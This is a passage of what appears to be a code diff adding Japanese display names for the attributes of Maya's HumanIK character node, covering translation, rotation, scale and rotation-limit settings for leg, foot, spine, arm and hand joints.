+setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMaxRLimitEnabley", "左大腿部の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMaxRLimitEnablez", "左大腿部の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLeg", "左脚" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegT", "左脚 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegTx", "左脚 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegTy", "左脚 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegTz", "左脚 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegR", "左脚 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRx", "左脚 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRy", "左脚 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRz", "左脚 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegS", "左脚 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegSx", "左脚 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegSy", "左脚 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegSz", "左脚 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRotateOrder", "左脚の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRotateAxis", "左脚の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRotateAxisx", "左脚の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRotateAxisy", "左脚の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRotateAxisz", "左脚の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegJointOrient", "左脚のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegJointOrientx", "左脚のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegJointOrienty", "左脚のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegJointOrientz", "左脚のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMinRLimit", "左脚の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMinRLimitx", "左脚の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMinRLimity", "左脚の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMinRLimitz", "左脚の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMaxRLimit", "左脚の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMaxRLimitx", "左脚の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMaxRLimity", "左脚の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMaxRLimitz", "左脚の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMinRLimitEnablex", "左脚の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMinRLimitEnabley", "左脚の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMinRLimitEnablez", "左脚の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMaxRLimitEnablex", "左脚の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMaxRLimitEnabley", "左脚の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMaxRLimitEnablez", "左脚の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFoot", "左足" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootT", "左足 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootTx", "左足 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootTy", "左足 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootTz", "左足 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootR", "左足 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRx", "左足 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRy", "左足 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRz", "左足 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootS", "左足 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootSx", "左足 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootSy", "左足 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootSz", "左足 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRotateOrder", "左足の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRotateAxis", "左足の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRotateAxisx", "左足の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRotateAxisy", "左足の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRotateAxisz", "左足の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootJointOrient", "左足のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootJointOrientx", "左足のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootJointOrienty", "左足のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootJointOrientz", "左足のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMinRLimit", "左足の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMinRLimitx", "左足の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMinRLimity", "左足の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMinRLimitz", "左足の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMaxRLimit", "左足の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMaxRLimitx", "左足の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMaxRLimity", "左足の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMaxRLimitz", "左足の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMinRLimitEnablex", "左足の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMinRLimitEnabley", "左足の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMinRLimitEnablez", "左足の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMaxRLimitEnablex", "左足の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMaxRLimitEnabley", "左足の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMaxRLimitEnablez", "左足の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLeg", "右大腿部" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegT", "右大腿部 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegTx", "右大腿部 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegTy", "右大腿部 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegTz", "右大腿部 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegR", "右大腿部 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRx", "右大腿部 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRy", "右大腿部 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRz", "右大腿部 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegS", "右大腿部 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegSx", "右大腿部 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegSy", "右大腿部 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegSz", "右大腿部 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRotateOrder", "右大腿部の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRotateAxis", "右大腿部の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRotateAxisx", "右大腿部の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRotateAxisy", "右大腿部の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRotateAxisz", "右大腿部の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegJointOrient", "右大腿部のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegJointOrientx", "右大腿部のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegJointOrienty", "右大腿部のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegJointOrientz", "右大腿部のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMinRLimit", "右大腿部の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMinRLimitx", "右大腿部の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMinRLimity", "右大腿部の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMinRLimitz", "右大腿部の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMaxRLimit", "右大腿部の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMaxRLimitx", "右大腿部の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMaxRLimity", "右大腿部の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMaxRLimitz", "右大腿部の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMinRLimitEnablex", "右大腿部の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMinRLimitEnabley", "右大腿部の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMinRLimitEnablez", "右大腿部の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMaxRLimitEnablex", "右大腿部の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMaxRLimitEnabley", "右大腿部の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMaxRLimitEnablez", "右大腿部の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLeg", "右脚" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegT", "右脚 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegTx", "右脚 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegTy", "右脚 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegTz", "右脚 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegR", "右脚 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRx", "右脚 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRy", "右脚 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRz", "右脚 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegS", "右脚 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegSx", "右脚 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegSy", "右脚 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegSz", "右脚 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRotateOrder", "右脚の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRotateAxis", "右脚の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRotateAxisx", "右脚の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRotateAxisy", "右脚の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRotateAxisz", "右脚の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegJointOrient", "右脚のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegJointOrientx", "右脚のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegJointOrienty", "右脚のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegJointOrientz", "右脚のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMinRLimit", "右脚の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMinRLimitx", "右脚の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMinRLimity", "右脚の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMinRLimitz", "右脚の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMaxRLimit", "右脚の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMaxRLimitx", "右脚の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMaxRLimity", "右脚の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMaxRLimitz", "右脚の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMinRLimitEnablex", "右脚の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMinRLimitEnabley", "右脚の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMinRLimitEnablez", "右脚の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMaxRLimitEnablex", "右脚の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMaxRLimitEnabley", "右脚の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMaxRLimitEnablez", "右脚の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFoot", "右足" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootT", "右足 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootTx", "右足 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootTy", "右足 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootTz", "右足 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootR", "右足 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRx", "右足 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRy", "右足 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRz", "右足 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootS", "右足 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootSx", "右足 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootSy", "右足 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootSz", "右足 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRotateOrder", "右足の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRotateAxis", "右足の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRotateAxisx", "右足の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRotateAxisy", "右足の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRotateAxisz", "右足の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootJointOrient", "右足のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootJointOrientx", "右足のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootJointOrienty", "右足のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootJointOrientz", "右足のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMinRLimit", "右足の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMinRLimitx", "右足の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMinRLimity", "右足の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMinRLimitz", "右足の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMaxRLimit", "右足の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMaxRLimitx", "右足の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMaxRLimity", "右足の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMaxRLimitz", "右足の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMinRLimitEnablex", "右足の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMinRLimitEnabley", "右足の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMinRLimitEnablez", "右足の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMaxRLimitEnablex", "右足の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMaxRLimitEnabley", "右足の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMaxRLimitEnablez", "右足の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine", "脊椎" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineT", "脊椎 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineTx", "脊椎 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineTy", "脊椎 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineTz", "脊椎 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineR", "脊椎 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRx", "脊椎 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRy", "脊椎 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRz", "脊椎 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineS", "脊椎 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineSx", "脊椎 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineSy", "脊椎 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineSz", "脊椎 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRotateOrder", "脊椎の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRotateAxis", "脊椎の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRotateAxisx", "脊椎の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRotateAxisy", "脊椎の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRotateAxisz", "脊椎の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineJointOrient", "脊椎のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineJointOrientx", "脊椎のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineJointOrienty", "脊椎のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineJointOrientz", "脊椎のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMinRLimit", "脊椎の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMinRLimitx", "脊椎の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMinRLimity", "脊椎の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMinRLimitz", "脊椎の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMaxRLimit", "脊椎の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMaxRLimitx", "脊椎の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMaxRLimity", "脊椎の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMaxRLimitz", "脊椎の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMinRLimitEnablex", "脊椎の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMinRLimitEnabley", "脊椎の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMinRLimitEnablez", "脊椎の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMaxRLimitEnablex", "脊椎の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMaxRLimitEnabley", "脊椎の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMaxRLimitEnablez", "脊椎の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArm", "左腕" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmT", "左腕 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmTx", "左腕 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmTy", "左腕 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmTz", "左腕 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmR", "左腕 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRx", "左腕 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRy", "左腕 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRz", "左腕 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmS", "左腕 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmSx", "左腕 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmSy", "左腕 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmSz", "左腕 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRotateOrder", "左腕の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRotateAxis", "左腕の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRotateAxisx", "左腕の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRotateAxisy", "左腕の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRotateAxisz", "左腕の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmJointOrient", "左腕のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmJointOrientx", "左腕のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmJointOrienty", "左腕のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmJointOrientz", "左腕のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMinRLimit", "左腕の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMinRLimitx", "左腕の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMinRLimity", "左腕の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMinRLimitz", "左腕の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMaxRLimit", "左腕の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMaxRLimitx", "左腕の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMaxRLimity", "左腕の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMaxRLimitz", "左腕の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMinRLimitEnablex", "左腕の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMinRLimitEnabley", "左腕の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMinRLimitEnablez", "左腕の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMaxRLimitEnablex", "左腕の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMaxRLimitEnabley", "左腕の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMaxRLimitEnablez", "左腕の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArm", "左前腕" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmT", "左前腕 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmTx", "左前腕 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmTy", "左前腕 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmTz", "左前腕 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmR", "左前腕 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRx", "左前腕 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRy", "左前腕 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRz", "左前腕 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmS", "左前腕 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmSx", "左前腕 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmSy", "左前腕 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmSz", "左前腕 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRotateOrder", "左前腕の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRotateAxis", "左前腕の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRotateAxisx", "左前腕の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRotateAxisy", "左前腕の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRotateAxisz", "左前腕の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmJointOrient", "左前腕のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmJointOrientx", "左前腕のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmJointOrienty", "左前腕のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmJointOrientz", "左前腕のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMinRLimit", "左前腕の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMinRLimitx", "左前腕の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMinRLimity", "左前腕の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMinRLimitz", "左前腕の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMaxRLimit", "左前腕の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMaxRLimitx", "左前腕の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMaxRLimity", "左前腕の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMaxRLimitz", "左前腕の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMinRLimitEnablex", "左前腕の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMinRLimitEnabley", "左前腕の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMinRLimitEnablez", "左前腕の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMaxRLimitEnablex", "左前腕の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMaxRLimitEnabley", "左前腕の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMaxRLimitEnablez", "左前腕の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHand", "左手" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandT", "左手 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandTx", "左手 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandTy", "左手 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandTz", "左手 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandR", "左手 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRx", "左手 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRy", "左手 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRz", "左手 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandS", "左手 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandSx", "左手 Sx" ); 